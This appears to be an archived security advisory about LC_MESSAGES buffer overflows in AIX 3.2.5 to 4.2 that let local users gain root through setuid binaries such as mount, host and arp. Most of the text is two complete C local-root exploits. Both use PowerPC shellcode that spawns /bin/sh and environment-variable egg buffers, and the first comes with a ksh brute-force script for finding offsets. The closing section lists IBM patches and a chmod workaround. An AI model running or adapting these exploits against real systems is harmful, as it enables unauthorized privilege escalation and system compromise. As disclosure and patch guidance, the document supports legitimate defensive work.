COMMAND

    LC_MESSAGES variable (/bin/host, /usr/sbin/mount)

SYSTEMS AFFECTED

    AIX 3.2.5, 4.1, 4.2

PROBLEM

    There are buffer overflows in the way that AIX handles certain NLS
    environment variables.  Unprivileged users may gain root access.

    Georgi Guninski found a  buffer overflow condition when  the shell
    variable LC_MESSAGES is long enough. /bin/host and /usr/sbin/mount
    are vulnerable to spawning a root shell.  He also made an exploit.

    If the  C program  does not  work, try  the ksh  script which does
    some brute forcing.

    ---test2.c--------------------------------------------------------
    /*  AIX  4.2/4.1  LC_MESSAGES  /usr/sbin/mount  exploit  by Georgi
    Guninski
    ----------------------------------------
    DISCLAIMER

    This  program  is  for  educational  purpose  ONLY.  Do not use it
    without permission.

    The usual  standard disclaimer  applies, especially  the fact that
    Georgi Guninski is not liable for any damages caused by direct  or
    indirect use of the information or functionality provided by  this
    program.  Georgi Guninski,  his employer or any  Internet provider
    bears NO responsibility for content  or misuse of this program  or
    any derivatives thereof.

    By  using  this  program  you  accept  the  fact  that  any damage
    (dataloss, system  crash, system  compromise, etc.)  caused by the
    use of this program is not Georgi Guninski's responsibility.

    In case  you distribute  this, please  keep the  disclaimer and my
    addresses.
    -----------------------------------------
    Use the IBM C compiler.
    Compile with: cc -g test2.c
    -----------------
    Georgi Guninski
     guninski@hotmail.com
     sgg@vmei.acad.bg
     guninski@linux2.vmei.acad.bg
     http://www.geocities.com/ResearchTriangle/1711
     22-Mar-97
    */

        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>

        char prog[100]="/usr/sbin/mount";
        char prog2[30]="mount";
        extern int execv();

        char *createvar(char *name,char *value)
        {
        char *c;
        int l;
        l=strlen(name)+strlen(value)+4;
        if (! (c=malloc(l))) {perror("error allocating");exit(2);};
        strcpy(c,name);
        strcat(c,"=");
        strcat(c,value);
        putenv(c);
        return c;
        }

    /*The program*/
        main(int argc,char **argv,char **env)
        {
    /*The code*/
        unsigned int code[]={
        0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
        0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
        0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
        0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
        0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
        0x7c0903a6 , 0x4e800420, 0x0
        };
    /* disassembly
        7c0802a6        mfspr   r0,LR
        9421fbb0        stu     SP,-1104(SP) --get stack
        90010458        st      r0,1112(SP)
        3c60f019        cau     r3,r0,0xf019 --CTR
        60632c48        lis     r3,r3,11336  --CTR
        90610440        st      r3,1088(SP)
        3c60d002        cau     r3,r0,0xd002 --TOC
        60634c0c        lis     r3,r3,19468  --TOC
        90610444        st      r3,1092(SP)
        3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
        6063696e        lis     r3,r3,26990
        90610438        st      r3,1080(SP)
        3c602f73        cau     r3,r0,0x2f73
        60636801        lis     r3,r3,26625
        3863ffff        addi    r3,r3,-1
        9061043c        st      r3,1084(SP) --terminate with 0
        30610438        lis     r3,SP,1080
        7c842278        xor     r4,r4,r4    --argv=NULL
        80410440        lwz     RTOC,1088(SP)
        80010444        lwz     r0,1092(SP) --jump
        7c0903a6        mtspr   CTR,r0
        4e800420        bctr              --jump
    */
        #define MAXBUF 600
        unsigned int buf[MAXBUF];
        unsigned int frame[MAXBUF];
        unsigned int i,nop,mn;
        int max;
        int QUIET=0;
        int dobuf=0;
        char VAR[30]="LC_MESSAGES";
        unsigned int toc;
        unsigned int eco;
        unsigned int *pt;
        char *t;
        int egg=1;
        int ch;
        unsigned int reta; /* return address */
        int corr=4604;
        char *args[4];
        char *newenv[8];
        int justframes=1;
        int startwith=0;

        mn=78;
        max=100;

        if (argc>1)
                corr = atoi(argv[1]);

        pt=(unsigned *) &execv;
        toc=*(pt+1);
        eco=*pt;

        if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
        {
                perror("Bad parameters");
                exit(1);
        }

        #define OO 7
        *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
        *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
        *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
        *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff);

        reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

        for(nop=0;nop<mn;nop++)
         buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
        strcpy((char*)&buf[nop],(char*)&code);
        i=nop+strlen( (char*) &code)/4-1;

        if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)

                || !(reta && 0xff000000))
        {
        perror("Return address has zero");exit(5);
        }

        while(i++<max)
         buf[i]=reta;
        buf[i]=0;

        for(i=0;i<max-1;i++)
         frame[i]=reta;
        frame[i]=0;

        if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};

        puts("Start...");/*Here we go*/

        newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
        newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
        newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
        newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
        newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
        newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
        (char*)&buf):NULL;
        newenv[6]=NULL;

        args[0]=prog2;
        execve(prog,args,newenv);
        perror("Error executing execve \n");
    /*      Georgi Guninski
            guninski@hotmail.com
            sgg@vmei.acad.bg
            guninski@linux2.vmei.acad.bg
            http://www.geocities.com/ResearchTriangle/1711
    */
        }

    ------------brute-ksh-script--------------------------------------
        #!/bin/ksh
        L=3000
        STEP=34
        MAX=16000
        while [ $L -lt $MAX ]
        do
        ./a.out $L
        L=`expr $L + $STEP`
        done
    ------------------------------------------------------------------

    'cripto' added his arp exploit:

    /*
     * AIX 4.1.4.0 local root /usr/sbin/arp exploit - SSG-arp.c - 06/06/2000
     *
     * This code is largely from an old AIX mount exploit by Georgi Guninski.
     * Tested on a blazing 33Mhz RS/6000 IBM POWERserver 340!
     *
     * Shouts to bind, xdr, obecian, qwer7y, interrupt, linda, and ur mom.
     *
     * -cripto <cripto@subterrain.net>      .o0->  SSG ROX 2000 !@#$$#@!  <-0o.
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #define OFFSET 3580
    
    char prog[100]="/usr/sbin/arp";
    char prog2[30]="arp";
    extern int execv();
    
    char *createvar(char *name,char *value)
    {
      char *retval;
      int l;
      l = strlen(name) + strlen(value) + 4;
      if (! (retval = malloc(l)))
      {
        perror("malloc");
        exit(2);
      };
    
      strcpy(retval,name);
      strcat(retval,"=");
      strcat(retval,value);
      putenv(retval);
      return retval;
    }
    
    main(int argc,char **argv,char **env)
    {
      unsigned int code[]={
      0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
      0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
      0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
      0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
      0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
      0x7c0903a6 , 0x4e800420, 0x0
      };
    
      #define MAXBUF 600
      unsigned int buf[MAXBUF];
      unsigned int frame[MAXBUF];
      unsigned int i,nop,mn;
      int max;
      int QUIET = 0;
      int dobuf = 0;
      char VAR[30] = "LC_MESSAGES";
      unsigned int toc;
      unsigned int eco;
      unsigned int *pt;
      char *t;
      int egg = 1;
      int ch;
      unsigned int reta;
      int corr = 4604;
      char *args[4];
      char *newenv[8];
      int justframes = 1;
      int startwith = 0;
    
      mn = 78;
      max = 100;
    
      if (argc > 1)
      {
        corr = atoi(argv[1]);
      }
      else
      {
        corr = OFFSET;
      }
    
      pt = (unsigned *) &execv;
      toc = *(pt+1);
      eco = *pt;
    
      if (((mn + strlen((char*)&code) / 4) > max) || (max > MAXBUF))
      {
        perror("invalid input");
        exit(1);
      }
    
      #define OO 7
      *((unsigned short *)code + OO + 2) = (unsigned short) (toc & 0x0000ffff);
      *((unsigned short *)code + OO) = (unsigned short) ((toc >> 16) &
        0x0000ffff);
      *((unsigned short *)code + OO + 8 ) = (unsigned short) (eco & 0x0000ffff);
      *((unsigned short *)code + OO + 6 ) = (unsigned short) ((eco >> 16) &
        0x0000ffff);
    
     reta = startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0] + corr;
    
      for(nop = 0;nop < mn;nop++)
        buf[nop] = startwith ? reta : 0x4ffffb82;
    
      strcpy((char*)&buf[nop], (char*)&code);
      i = nop + strlen( (char*) &code)/4-1;
    
      if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
        || !(reta && 0xff000000))
      {
        perror("Return address has zero");
        exit(5);
      }
    
      while(i++ < max)
      buf[i] = reta;
      buf[i] = 0;
    
      for(i = 0;i < max-1;i++)
      frame[i] = reta;
      frame[i] = 0;
    
      if(QUIET)
      {
        puts((char*)&buf);
        fflush(stdout);
        exit(0);
      };
    
      newenv[0] = createvar("EGGSHEL", (char*)&buf[0]);
      newenv[1] = createvar("EGGSHE2", (char*)&buf[0]);
      newenv[2] = createvar("EGGSHE3", (char*)&buf[0]);
      newenv[3] = createvar("EGGSHE4", (char*)&buf[0]);
      newenv[4] = createvar("DISPLAY", getenv("DISPLAY"));
      newenv[5] = VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
        (char*)&buf):NULL;
      newenv[6] = NULL;
    
      args[0] = prog2;
      execve(prog,args,newenv);
      perror("execve\n");
    }

SOLUTION

    1) IBM was informed wrote following patches:

        AIX 4.2:  APAR IX67377
        AIX 4.1:  APAR IX67407
        AIX 3.2:  APAR IX67405

    2) a little bit ugly, but works:

        #chmod -s /bin/host /usr/sbin/mount /usr/sbin/arp

    3) This has been not tested it, but if you are in the mood you may
       try to  change LC_MESSAGES  in /usr/lib/libc.a,  /usr/lib/* and
       everywhere else to something unpredictable.

    A temporary patch is available via anonymous ftp from:

        ftp://testcase.software.ibm.com/aix/fromibm/README.NLS_security_fix
        ftp://testcase.software.ibm.com/aix/fromibm/NLS_security_fix.42.tar
        ftp://testcase.software.ibm.com/aix/fromibm/NLS_security_fix.41.tar
        ftp://testcase.software.ibm.com/aix/fromibm/NLS_security_fix.32.tar